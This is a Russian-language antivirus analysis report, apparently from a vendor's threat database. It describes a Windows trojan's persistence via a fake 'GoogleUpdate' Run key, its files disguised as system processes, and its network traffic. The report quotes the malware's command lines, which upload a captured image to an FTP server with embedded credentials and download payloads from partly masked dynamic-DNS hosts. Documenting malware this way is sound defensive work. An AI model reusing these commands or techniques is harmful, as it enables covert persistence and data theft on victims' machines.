Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'GoogleUpdate' = '%APPDATA%\Microsoft\Windows\1042\dllhost.exe'
Вредоносные функции:
Создает и запускает на исполнение:
- '%APPDATA%\Microsoft\Windows\1042\dllhost.exe'
- '%APPDATA%\Microsoft\Windows\1042\WmiPrvSE.exe' -T "crnjeufu%USERNAME%windowsxp88e6680f.jpg" -u u350077890:qwe123asd456 ftp://zo###y.zz.mu
- '%APPDATA%\Microsoft\Windows\1042\WmiPrvSE.exe' http://up#######rsion.servehttp.com -L -o version.ini
- '%APPDATA%\Microsoft\Windows\1042\WmiPrvSE.exe' http://up#######chost.servehttp.com -L -o ../../Protect/svchost
- '%APPDATA%\Microsoft\Windows\1042\WmiPrvSE.exe' http://up#######ogram.servehttp.com -L -o update.ini
- '%APPDATA%\Microsoft\Windows\1042\WmiPrvSE.exe' http://up######pp.servehttp.com -L -o dllhost
Изменения в файловой системе:
Создает следующие файлы:
- %TEMP%\$inst\2.tmp
- %TEMP%\$inst\temp_0.tmp
- %APPDATA%\Microsoft\Windows\1042\dllhost.exe
- %APPDATA%\Microsoft\Windows\1042\install.bat
- %APPDATA%\Microsoft\Windows\1042\update.bat
- %APPDATA%\Microsoft\Windows\1042\WmiPrvSE.exe
- %APPDATA%\Microsoft\Windows\1042\timeout.exe
- %APPDATA%\Microsoft\Windows\1042\crnjeufu%USERNAME%windowsxp88e6680f.jpg
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\CAURQNUT.php
- %APPDATA%\Microsoft\Windows\1042\version.ini
- %APPDATA%\Microsoft\Windows\1042\update.ini
- %APPDATA%\Microsoft\Windows\1042\dllhost
Присваивает атрибут 'скрытый' для следующих файлов:
- %APPDATA%\Microsoft\Windows\1042\install.bat
- %APPDATA%\Microsoft\Windows\1042\update.bat
- %APPDATA%\Microsoft\Windows\1042\WmiPrvSE.exe
- %APPDATA%\Microsoft\Windows\1042\timeout.exe
- %APPDATA%\Microsoft\Windows\1042\version.ini
- %APPDATA%\Microsoft\Windows\1042\update.ini
- %APPDATA%\Microsoft\Windows\1042\dllhost.exe
- %APPDATA%\Microsoft\Windows\1042\crnjeufu%USERNAME%windowsxp88e6680f.jpg
Удаляет следующие файлы:
- %TEMP%\$inst\temp_0.tmp
- %TEMP%\$inst\2.tmp
- %APPDATA%\Microsoft\Windows\1042\dllhost
Сетевая активность:
Подключается к:
- 'zo###y.zz.mu':21
- 'localhost':1038
- 'zo###y.zz.mu':80
- 'up#######rsion.servehttp.com':80
- 'up#######chost.servehttp.com':80
- 'up#######ogram.servehttp.com':80
- 'up######pp.servehttp.com':80
TCP:
Запросы HTTP GET:
- up#######rsion.servehttp.com/
- up#######chost.servehttp.com/
- up#######ogram.servehttp.com/
- up######pp.servehttp.com/
UDP:
- DNS ASK zo###y.zz.mu
- DNS ASK up#######rsion.servehttp.com
- DNS ASK up#######chost.servehttp.com
- DNS ASK up#######ogram.servehttp.com
- DNS ASK up######pp.servehttp.com
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: 'MS_AutodialMonitor' WindowName: '(null)'
- ClassName: 'MS_WebcheckMonitor' WindowName: '(null)'
